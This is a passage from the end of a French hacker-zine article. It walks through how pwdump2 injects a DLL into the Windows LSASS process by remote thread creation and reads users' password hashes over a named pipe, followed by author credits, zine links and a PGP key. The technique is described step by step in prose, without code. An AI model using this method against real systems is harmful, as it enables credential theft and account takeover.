fonction contenue dans une dll "malicieuse" créé par nous. Cette fonction
tournera dans le même context du processus victime comme Thread.

Cette technique est utilisé par example par le programme pwdump2 pour récupérer
les hash des password des usager, même sur les systèmes qui usent la SYSKEY.

Même dans ce cas nous ne reporterons pas le code par entier, vu que vous pouvez
le trouver facilement sur le Réseau.

Le code suit plus ou moins ces points:

- Il abilite le privilège SE_DEBUG_NAME dans le cas ou il soit possedé par le
  processus, mais pas activé. Les fonctions utilisées sont les suivantes:

  - OpenProcessToken     : pour obtenir le Token du processus qui l'appèle.
  - LookupPrivilegeValue : pour obtenir le LUID de SE_DBUG_NAME.
  - AdjustTokenPrivileges: pour activer le privilège dans le Token du
			   processus.

- Obtient un handle au processus LSASS:

  - NtQuerySystemInformation: pour obtenir une liste de structures process_info
			      qui contient les noms et les PID des processus
			      actifs (Internal Windows Function).
  - RtlCompareUnicodeString : pour trouver la entry de LSASS.EXE et, en suite,
			      obtenir le PID.
  - OpenProcess             : pour obtenir l'handle au processus LSASS.

- En se servant des privilèges possédés et l'handle obtenu, il réserve une zone
  de mémoire à l'intérieur du prosessus LSASS. Dans cette zone de mémoire il
  copiera le code et les donnés qui seront utilisés en suite. Dans la zone des
  donnés elles sont presentes, entre autres, les adresses des fonctions de
  librairie (obtenues avec GetProcAddress) qui seront utilisées par le code.

  - VirtualAllocEx    : pour réserver une zone de mémoire à l'intérieur du
			processus LSASS.
  - GetProcAddress    : pour obtenir les pointeurs aux fonctions de kernel32
			que le code injecté devra utiliser.
  - WriteProcessMemory: pour écrire les donnés et le code nécessaire en suite.

- Crée un Thread de LSASS qui exécutera le code injecté.

  - CreateRemoteThread : pour créer le Thread distant. Ce Thread exécutera la
			 fonction injectée. CreateRemoteThread passe à la
			 fonction injectée, comme paramètre, le pointeur à la
			 zone des donnés alloué en précédance.

- A présent la fonction injectée est exécuté par un thread de LSASS. Cette
  fonction utilise le paramètre passé par CreateRemoteThread pour accéder à sa
  zone de donnés. Comme nous avons vu auparavant, la zone des donnés contient
  les pointeurs aux fontions de kernel32 que le code utilisera.
  Ces fonctions sont:

  - LoadLibrary    : pour charger la dll "malicieuse" à l'intérieur du
		     processus LSASS.
  - GetProcAddress : pour obtenir le pointeur à la fonction exportée de la dll
		     "malicieuse" qui exécutera les opérations voulues (dans ce
		     cas la recherche des hash des password).
  - FreeLibrary    : pour "décharger" la dll.

- Le code injecté pourra appeler la fonction exportée de la dll "malicieuse".
  Cette fonction marchera dans le context de LSASS et donc elle aura un accès
  direct à toutes ses resources et à toutes ses donnés en mémoire.

  Le code aurait aussi pu exécuter toutes les opérations voulues directement
  par la fonction injectée, sans avoir besoin de s'appuyer à une dll externe.
  L'avantage d'utiliser une dll externe est que tous les symboles importés de
  la cette dll seront résolus automatiquement au moment de son chargement.
  Au contraire, seul le code injecté a besoin d'avoir les pointeurs à tous les
  symboles (fonctions) qu'il utilise. Ces symboles doivent être resolus par le
  programme d'exploit qui lance le thread, et passés à lui, vu que le thread
  lancé comme ça n'aura même pas le "symbole" GetProcAddress résolu (même si il
  aurait pu utiliser une technique de résolution des symboles semblable à celle
  présentée dans le shellcode pour obtenir ce pointeur).
  Donc il s'agit d'un choix fait pour netteté et légèreté du code.

  La fonction de la dll "malicieuse", dans le cas de pwdump2, utilisera à
  présent des API pour obtenir les hash des password.

N.B.
Le programme d'exploit communique avec le thread "injecté" dans LSASS à travers
NamedPipe. La pipe est utilisée pour reçevoir l'output du thread (dans ce cas
les hash des password).



/////////////////////////////////////
// 9- CONCLUSIONS ET REMERCIEMENTS //
/////////////////////////////////////

Nous somme arrivés à la fin. Nous espérons que les mille et plus lignes écrites
de notre main puissent être utile à quelqu'un.
Evidemment cet article ne prétend pas de couvrir tous les aspects liés à la
Windows Security, qui reste un territoire pour certain aspect encore inexploré.
Justement pour ça, idées et propositons sont bien acceptées.
Nous nous excusons pour les éventuels erreurs ou oublis présents dans le
document.
Si quelqu'un veut nous payer pour ce PAPER, il devrait evidemment le faire avec
des PAPER-Dollar (buahahahah, excusez moi mais après tout cet article c'est la
meilleure blague qui nous est venu à l'idée).

Cut/Paste de mes saluts usuels avec profusion de upper/lower case, cifres et
ponctuation qui font très l337.

NaGA:    Marco Valleri    -  crwm@freemail.it  (oui, celui de ettercap)
KiodOpz: Massimo Chiodini -  max.chiodo@libero.it  (oui, celui des KTools)

P.S.
Nous le savons, freemail et libero ne font pas beaucoup de scéne comme account
de poste. Mais qu'est ce que vous voulez, nous avons toujour eu malchance avec
nos account. Si quelqu'un veut nous offrir deux forwarder avec un nom très l337
ce serait bien accepter :P

P.S.2
Ah, nous avons oublié d'écrire la nourriture consommé et la musique écouté
pendant l'écriture de l'article. Si quelqu'un est intéressé au sujet il peut
nous contacter à travers l'e-mail.



////////////
// FIN ? //
////////////



-[ WEB ]----------------------------------------------------------------------

        http://www.bfi.cx
        http://bfi.freaknet.org
        http://www.s0ftpj.org/bfi/


-[ E-MAiL ]-------------------------------------------------------------------

        bfi@s0ftpj.org


-[ PGP ]----------------------------------------------------------------------

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i
mQENAzZsSu8AAAEIAM5FrActPz32W1AbxJ/LDG7bB371rhB1aG7/AzDEkXH67nni
DrMRyP+0u4tCTGizOGof0s/YDm2hH4jh+aGO9djJBzIEU8p1dvY677uw6oVCM374
nkjbyDjvBeuJVooKo+J6yGZuUq7jVgBKsR0uklfe5/0TUXsVva9b1pBfxqynK5OO
lQGJuq7g79jTSTqsa0mbFFxAlFq5GZmL+fnZdjWGI0c2pZrz+Tdj2+Ic3dl9dWax
iuy9Bp4Bq+H0mpCmnvwTMVdS2c+99s9unfnbzGvO6KqiwZzIWU9pQeK+v7W6vPa3
TbGHwwH4iaAWQH0mm7v+KdpMzqUPucgvfugfx+kABRO0FUJmSTk4IDxiZmk5OEB1
c2EubmV0PokBFQMFEDZsSu+5yC9+6B/H6QEBb6EIAMRP40T7m4Y1arNkj5enWC/b
a6M4oog42xr9UHOd8X2cOBBNB8qTe+dhBIhPX0fDJnnCr0WuEQ+eiw0YHJKyk5ql
GB/UkRH/hR4IpA0alUUjEYjTqL5HZmW9phMA9xiTAqoNhmXaIh7MVaYmcxhXwoOo
WYOaYoklxxA5qZxOwIXRxlmaN48SKsQuPrSrHwTdKxd+qB7QDU83h8nQ7dB4MAse
gDvMUdspekxAX8XBikXLvVuT0ai4xd8o8owWNR5fQAsNkbrdjOUWrOs0dbFx2K9J
l3XqeKl3XEgLvVG8JyhloKl65h9rUyw6Ek5hvb5ROuyS/lAGGWvxv2YJrN8ABLo=
=o7CG
-----END PGP PUBLIC KEY BLOCK-----


==============================================================================
-----------------------------------[ EOF ]------------------------------------
==============================================================================